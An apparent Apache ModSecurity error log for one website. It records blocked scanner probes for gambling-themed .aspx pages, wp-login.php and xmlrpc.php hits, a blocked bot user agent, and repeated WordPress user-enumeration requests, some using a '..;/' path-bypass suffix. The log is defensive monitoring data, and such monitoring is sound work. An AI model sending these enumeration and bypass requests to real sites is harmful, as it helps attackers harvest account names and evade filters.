[Fri Apr 17 06:52:57.796682 2026] [:error] [pid 9151:tid 9172] [client 147.135.252.179:50498] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeFoSchTVuRPkua22vS-nAAAAAs"]
[Fri Apr 17 06:52:59.727741 2026] [:error] [pid 25010:tid 25037] [client 147.135.252.179:49186] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeFoS4-7kkf42RarqQ3QZAAAAVg"]
[Fri Apr 17 06:53:01.651838 2026] [:error] [pid 51878:tid 51900] [client 147.135.252.179:49192] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeFoTUnQhUtMbw9Esga8HwAAARQ"]
[Fri Apr 17 06:53:03.466226 2026] [:error] [pid 9153:tid 9229] [client 147.135.252.179:49198] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeFoT-MHGxkTZX3c45c-RQAAAIs"]
[Fri Apr 17 06:53:05.381921 2026] [:error] [pid 9153:tid 9242] [client 147.135.252.179:49208] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeFoUeMHGxkTZX3c45c-cgAAAJg"]
[Fri Apr 17 06:53:07.297059 2026] [:error] [pid 9152:tid 9200] [client 147.135.252.179:49224] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aeFoU5JYca8I3TNCwIc4gAAAAEo"]
[Fri Apr 17 06:53:09.218013 2026] [:error] [pid 9153:tid 9223] [client 147.135.252.179:55680] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aeFoVeMHGxkTZX3c45c-jAAAAIU"]
[Fri Apr 17 06:53:11.306677 2026] [:error] [pid 51878:tid 51897] [client 147.135.252.179:55684] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aeFoV0nQhUtMbw9Esga8QwAAARE"]
[Fri Apr 17 06:53:13.224007 2026] [:error] [pid 9153:tid 9231] [client 147.135.252.179:55700] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aeFoWeMHGxkTZX3c45c-mQAAAI0"]
[Fri Apr 17 06:53:15.150336 2026] [:error] [pid 9151:tid 9173] [client 147.135.252.179:55706] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aeFoW8hTVuRPkua22vS-1gAAAAw"]
[Fri Apr 17 06:53:17.062650 2026] [:error] [pid 9151:tid 9179] [client 147.135.252.179:55710] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aeFoXchTVuRPkua22vS-2QAAABI"]
[Fri Apr 17 06:53:19.002778 2026] [:error] [pid 9153:tid 9224] [client 147.135.252.179:56756] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aeFoX-MHGxkTZX3c45c-0gAAAIY"]
[Fri Apr 17 06:53:20.941862 2026] [:error] [pid 9151:tid 9166] [client 147.135.252.179:56770] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aeFoYMhTVuRPkua22vS-6AAAAAU"]
[Fri Apr 17 06:53:23.020443 2026] [:error] [pid 9152:tid 9202] [client 147.135.252.179:56786] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aeFoY5JYca8I3TNCwIc4zwAAAEw"]
[Fri Apr 17 06:53:24.971617 2026] [:error] [pid 51878:tid 51901] [client 147.135.252.179:56790] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aeFoZEnQhUtMbw9Esga8jgAAARU"]
[Fri Apr 17 06:53:26.899002 2026] [:error] [pid 51878:tid 51893] [client 147.135.252.179:56796] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aeFoZknQhUtMbw9Esga8mAAAAQ0"]
[Fri Apr 17 06:53:28.682948 2026] [:error] [pid 51878:tid 51884] [client 147.135.252.179:40986] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aeFoaEnQhUtMbw9Esga8rQAAAQQ"]
[Fri Apr 17 06:53:30.623607 2026] [:error] [pid 9263:tid 9287] [client 147.135.252.179:40994] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aeFoahP68VyHNvj1e541rgAAANY"]
[Fri Apr 17 06:53:32.532054 2026] [:error] [pid 9263:tid 9277] [client 147.135.252.179:40998] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aeFobBP68VyHNvj1e541sAAAAMw"]
[Fri Apr 17 06:54:09.349995 2026] [:error] [pid 9153:tid 9222] [client 147.135.252.179:41002] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeFokeMHGxkTZX3c45dAKAAAAIQ"]
[Fri Apr 17 06:54:11.322163 2026] [:error] [pid 9153:tid 9236] [client 147.135.252.179:43566] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeFok-MHGxkTZX3c45dANwAAAJI"]
[Fri Apr 17 06:54:13.211613 2026] [:error] [pid 9263:tid 9284] [client 147.135.252.179:43576] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aeFolRP68VyHNvj1e542YgAAANM"]
[Fri Apr 17 06:54:15.251745 2026] [:error] [pid 9263:tid 9275] [client 147.135.252.179:43588] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aeFolxP68VyHNvj1e542agAAAMo"]
[Fri Apr 17 06:54:17.300975 2026] [:error] [pid 51878:tid 51881] [client 147.135.252.179:43594] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aeFomUnQhUtMbw9Esga9kgAAAQE"]
[Fri Apr 17 06:54:19.352490 2026] [:error] [pid 51878:tid 51901] [client 147.135.252.179:46970] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeFom0nQhUtMbw9Esga9oQAAARU"]
[Fri Apr 17 06:54:21.388442 2026] [:error] [pid 25010:tid 25017] [client 147.135.252.179:46976] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aeFonY-7kkf42RarqQ3RwQAAAUQ"]
[Fri Apr 17 06:54:23.286578 2026] [:error] [pid 9263:tid 9283] [client 147.135.252.179:46982] [client 147.135.252.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aeFonxP68VyHNvj1e542gQAAANI"]
[Fri Apr 17 07:41:16.908976 2026] [:error] [pid 9152:tid 9199] [client 159.65.253.220:65512] [client 159.65.253.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.253.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeFznJJYca8I3TNCwIdMNAAAAEk"]
[Fri Apr 17 07:58:10.499617 2026] [:error] [pid 51878:tid 51900] [client 159.65.253.220:49241] [client 159.65.253.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.253.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeF3kknQhUtMbw9EsgbT7wAAARQ"]
[Fri Apr 17 08:05:46.563936 2026] [:error] [pid 25010:tid 25037] [client 177.133.170.116:50486] [client 177.133.170.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.133.170.116, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeF5Wo-7kkf42RarqQ3zkwAAAVg"]
[Fri Apr 17 09:11:47.477915 2026] [:error] [pid 9151:tid 9172] [client 172.70.240.155:10521] [client 172.70.240.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeGI08hTVuRPkua22vTtmQAAAAs"]
[Fri Apr 17 10:08:37.446834 2026] [:error] [pid 34273:tid 34287] [client 62.60.131.158:48124] [client 62.60.131.158] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGWJWuQDW686mK3dgGBpgAAAYw"]
[Fri Apr 17 10:08:39.299482 2026] [:error] [pid 9152:tid 9200] [client 62.60.131.158:48132] [client 62.60.131.158] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGWJ5JYca8I3TNCwIeqtwAAAEo"]
[Fri Apr 17 10:08:41.556520 2026] [:error] [pid 9153:tid 9242] [client 62.60.131.158:48164] [client 62.60.131.158] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGWKeMHGxkTZX3c45egKQAAAJg"]
[Fri Apr 17 10:08:45.472155 2026] [:error] [pid 9153:tid 9225] [client 62.60.131.158:48204] [client 62.60.131.158] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGWLeMHGxkTZX3c45egNwAAAIc"]
[Fri Apr 17 10:08:45.791567 2026] [:error] [pid 34273:tid 34285] [client 62.60.131.158:48126] [client 62.60.131.158] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGWLWuQDW686mK3dgGBwAAAAYo"]
[Fri Apr 17 10:08:47.053744 2026] [:error] [pid 9151:tid 9177] [client 62.60.131.158:21108] [client 62.60.131.158] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGWL8hTVuRPkua22vT0YgAAABA"]
[Fri Apr 17 10:08:50.240592 2026] [:error] [pid 9153:tid 9220] [client 62.60.131.158:21148] [client 62.60.131.158] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGWMuMHGxkTZX3c45egOwAAAII"]
[Fri Apr 17 10:08:54.435369 2026] [:error] [pid 9152:tid 9204] [client 62.60.131.158:21196] [client 62.60.131.158] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGWNpJYca8I3TNCwIeqxgAAAE4"]
[Fri Apr 17 10:08:55.460563 2026] [:error] [pid 9152:tid 9202] [client 62.60.131.158:21206] [client 62.60.131.158] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "aeGWN5JYca8I3TNCwIeqyQAAAEw"]
[Fri Apr 17 10:08:57.563964 2026] [:error] [pid 9152:tid 9201] [client 62.60.131.158:20778] [client 62.60.131.158] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "aeGWOZJYca8I3TNCwIeq0AAAAEs"]
[Fri Apr 17 10:08:58.911558 2026] [:error] [pid 34273:tid 34286] [client 62.60.131.158:20780] [client 62.60.131.158] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGWOmuQDW686mK3dgGBzgAAAYs"]
[Fri Apr 17 10:08:59.821351 2026] [:error] [pid 25010:tid 25037] [client 62.60.131.158:20794] [client 62.60.131.158] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "aeGWO4-7kkf42RarqQ0ffgAAAVg"]
[Fri Apr 17 10:09:00.688178 2026] [:error] [pid 9152:tid 9207] [client 62.60.131.158:20806] [client 62.60.131.158] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGWPJJYca8I3TNCwIeq1gAAAFE"]
[Fri Apr 17 10:09:02.950343 2026] [:error] [pid 25010:tid 25023] [client 62.60.131.158:20826] [client 62.60.131.158] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGWPo-7kkf42RarqQ0ffwAAAUo"]
[Fri Apr 17 10:09:04.091027 2026] [:error] [pid 9152:tid 9200] [client 62.60.131.158:20834] [client 62.60.131.158] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "aeGWQJJYca8I3TNCwIeq3QAAAEo"]
[Fri Apr 17 10:09:06.971456 2026] [:error] [pid 9151:tid 9163] [client 62.60.131.158:54074] [client 62.60.131.158] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeGWQshTVuRPkua22vT0cgAAAAI"]
[Fri Apr 17 11:51:51.717955 2026] [:error] [pid 9153:tid 9224] [client 43.167.239.66:37956] [client 43.167.239.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeGuV-MHGxkTZX3c45e0wAAAAIY"]
[Fri Apr 17 13:06:31.198258 2026] [:error] [pid 25010:tid 25014] [client 145.239.65.236:45998] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aeG_14-7kkf42RarqQ09UwAAAUE"]
[Fri Apr 17 13:06:33.173892 2026] [:error] [pid 9263:tid 9280] [client 145.239.65.236:41504] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aeG_2RP68VyHNvj1e55_PQAAAM8"]
[Fri Apr 17 13:06:35.090062 2026] [:error] [pid 9152:tid 9194] [client 145.239.65.236:41506] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aeG_25JYca8I3TNCwIfr3QAAAEQ"]
